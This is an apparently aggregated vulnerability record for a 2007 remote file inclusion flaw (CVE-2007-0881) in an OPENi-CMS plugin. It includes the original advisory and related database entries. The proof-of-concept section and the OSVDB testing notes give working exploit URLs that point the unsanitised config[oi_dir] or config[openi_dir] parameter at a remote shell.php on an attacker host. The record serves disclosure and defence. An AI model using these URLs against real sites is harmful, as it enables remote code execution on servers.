{"id": "EDB-ID:3292", "hash": "287e912d0af2ad0f383fc8ad02585b16", "type": "exploitdb", "bulletinFamily": "exploit", "title": "OPENi-CMS Site Protection Plugin Remote File Inclusion Vulnerability", "description": "OPENi-CMS Site Protection Plugin Remote File Inclusion Vulnerability. CVE-2007-0881. Webapps exploit for php platform", "published": "2007-02-11T00:00:00", "modified": "2007-02-11T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/3292/", "reporter": "y3dips", "references": [], "cvelist": ["CVE-2007-0881"], "lastseen": "2016-01-31T18:08:47", "history": [], "viewCount": 3, "enchantments": {"score": {"value": 7.7, "vector": "NONE", "modified": "2016-01-31T18:08:47"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-0881"]}, {"type": "osvdb", "idList": ["OSVDB:33175"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:7212"]}], "modified": "2016-01-31T18:08:47"}, "vulnersScore": 7.7}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/3292/", "sourceData": "------------------------------------------------------------------------------------\n[ECHO_ADV_64$2007] Openi CMS plugins (site protection) remote file inclusion\n------------------------------------------------------------------------------------\n\nAuthor : Ahmad Muammar W.K (a.k.a) y3dips\nDate Found : February, 11 2007\nLocation : Indonesia, Jakarta\nweb : http://echo.or.id/adv/adv64-y3dips-2007.txt\nCritical Lvl : Critical\n------------------------------------------------------------------------------------\n\n\nAffected software description:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nApplication : Internal range (site protection), version: 1.0\nOpeni CMS plugins (http://www.openi-cms.org)\nURL : http://www.openi-cms.org\nDownload-path : http://www.openi-cms.org/oi-download.php/45/file_src/oi_plugin_site_protection_1_0.zip\n\nDescription : With this Plugin you can release page ranges only for certain users. The user\nmust authentifizieren itself with user name and password. Several users for\na page range can be put on. Users and sides which can be protected are put on\nin the editorship environment by the administrator.\n\n---------------------------------------------------------------------------\n\nVulnerability:\n~~~~~~~~~~~~~~\n\nVariables \"oi_dir\" in index.php are not properly sanitized.\n\n---------------index.php --------------------\n...\n<?PHP\nglobal $config;\nrequire_once($config[\"oi_dir\"].\"/base/sitemap_classes.php\");\n\nclass plg_site_protection extends Plugin {\n...\n----------------------------------------------\n\n\nAn attacker can exploit this vulnerability with a simple php injection script.\n\nPoc/Exploit:\n~~~~~~~~~~~~\n\nhttp://target-openi/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://attacker/shell.php ?\n\nNotes:\n~~~~~~\n\ni have to change the variable \"oi_dir\" to \"openi_dir\" to get the cms works (config file),\nbut then u just change the exploit to\n\nhttp://target-openi/open-admin/plugins/site_protection/index.php?config%5bopeni_dir%5d=http://attacker/shell.php?\n\nit doesnt matter coz the variable still unsanitized.\n\n---------------------------------------------------------------------------\nShoutz:\n~~~~~~~\n~ my lovely ana\n~ k-159 (never stop advising [pushing] me :P), the_day (echo young evil thinker),\n~ and all echo staff\n~ str0ke, waraxe, negative\n~ newbie_hacker@yahoogroups.com\n~ #e-c-h-o @irc.dal.net\n\n---------------------------------------------------------------------------\nContact:\n~~~~~~~~\n\ny3dips|| echo|staff || y3dips[at]gmail[dot]com\nHomepage: http://y3dips.echo.or.id/\n\n# milw0rm.com [2007-02-11]\n", "osvdbidlist": ["33175"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2019-05-29T18:08:58", "bulletinFamily": "NVD", "description": "PHP remote file inclusion vulnerability in the Seitenschutz plugin for OPENi-CMS 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the (1) config[oi_dir] and possibly (2) config[openi_dir] parameters to open-admin/plugins/site_protection/index.php. NOTE: vector 2 might be the same as CVE-2006-4750.\nSuccessful exploitation requires that \"register_globals\" is enabled.", "modified": "2017-10-19T01:30:00", "id": "CVE-2007-0881", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-0881", "published": "2007-02-12T20:28:00", "title": "CVE-2007-0881", "type": "cve", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:29", "bulletinFamily": "software", "description": "## Manual Testing Notes\nhttp://[target-openi]/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://[attacker]/shell.php?\n## References:\n[Secunia Advisory ID:24119](https://secuniaresearch.flexerasoftware.com/advisories/24119/)\nOther Advisory URL: http://echo.or.id/adv/adv64-y3dips-2007.txt\nISS X-Force ID: 32423\nGeneric Exploit URL: http://www.milw0rm.com/exploits/3292\nFrSIRT Advisory: ADV-2007-0556\n[CVE-2007-0881](https://vulners.com/cve/CVE-2007-0881)\nBugtraq ID: 22511\n", "modified": "2007-02-11T07:48:43", "published": "2007-02-11T07:48:43", "href": "https://vulners.com/osvdb/OSVDB:33175", "id": "OSVDB:33175", "title": "OPENi-CMS Seitenschutz Plugin open-admin/plugins/site_protection/index.php config[oi_dir] Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "securityvulns": [{"lastseen": "2018-08-31T11:09:23", "bulletinFamily": "software", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "modified": "2007-02-12T00:00:00", "published": "2007-02-12T00:00:00", "id": "SECURITYVULNS:VULN:7212", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7212", "title": "Daily web applications security vulnerabilities summary &#40;PHP, ASP, JSP, CGI, Perl&#41;", "type": "securityvulns", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}